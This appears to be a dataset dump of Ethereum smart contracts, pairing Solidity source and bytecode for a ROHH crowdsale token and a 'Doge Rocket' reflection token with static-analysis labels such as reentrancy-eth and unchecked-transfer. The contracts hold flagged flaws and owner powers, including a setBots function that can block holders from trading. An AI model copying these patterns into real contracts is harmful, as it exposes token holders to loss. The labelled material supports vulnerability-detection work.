5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112aa81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112aa82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112aa81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083606d9c4e01f2c3450a1832d15d3c6e6c41392231fc9e6677b83c241fdaaa1a64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,859
0xa0f622ef461f118f3183487e37c8246f5cb72d88
pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /// @return total amount of tokens //function totalSupply() constant returns (uint256 supply); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ROHH is StandardToken { function () { //if ether is sent to this address, send it back. revert(); } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customize the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ROHH( ) { decimals = 18; totalSupply = 38000000 * (10 ** uint256(decimals)); // Update total supply (100000 for example) balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example) name = "Republic ov Hip Hop Coin"; // Set the name for display purposes symbol = "ROHH"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); } return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Token * @dev API interface for interacting with the MRAToken contract * / interface Token { function transfer (address _to, uint256 _value) returns (bool); function balanceOf (address_owner) constant returns (uint256 balance); } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ROHH public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime = 1521504000; uint256 public endTime = 1527292740; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public phase_1_rate = 691; uint256 public constant cap = 52941; uint public maximumEther = 52941; uint public minimumEther = 29411; // amount of raised money in wei uint256 public weiRaised; mapping (address => uint256) rates; function getRate() constant returns (uint256){ uint256 current_time = now; if(current_time > startTime && current_time < endTime){ return phase_1_rate; } } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale() { wallet = msg.sender; token = createTokenContract(); } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (ROHH Coin) { return new ROHH (); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(getRate()); // update state weiRaised = weiRaised.add(weiAmount); token.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } /** * @notice Terminate contract and refund to owner */ function destroy() onlyOwner { // Transfer tokens back to owner uint256 balance = token.balanceOf(this); assert (balance > 0); token.transfer(owner,balance); // There should be no ether in the contract but just in case selfdestruct(owner); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,860
0x01cfdbd1048a8f25134b1b39b88bad8d7e3a1fd5
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /** *Submitted for verification at Etherscan.io on 2021-06-09 */ //Doge Rocket (DOGERKET) //TG: https://t.me/doge_rockets //Limit Buy //Cooldown //Bot Protect //Liqudity dev provides and lock //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogeRocket is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge Rocket"; string private constant _symbol = "DOGERKET"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f446f676520526f636b6574000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f444f4745524b4554000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b6040518091039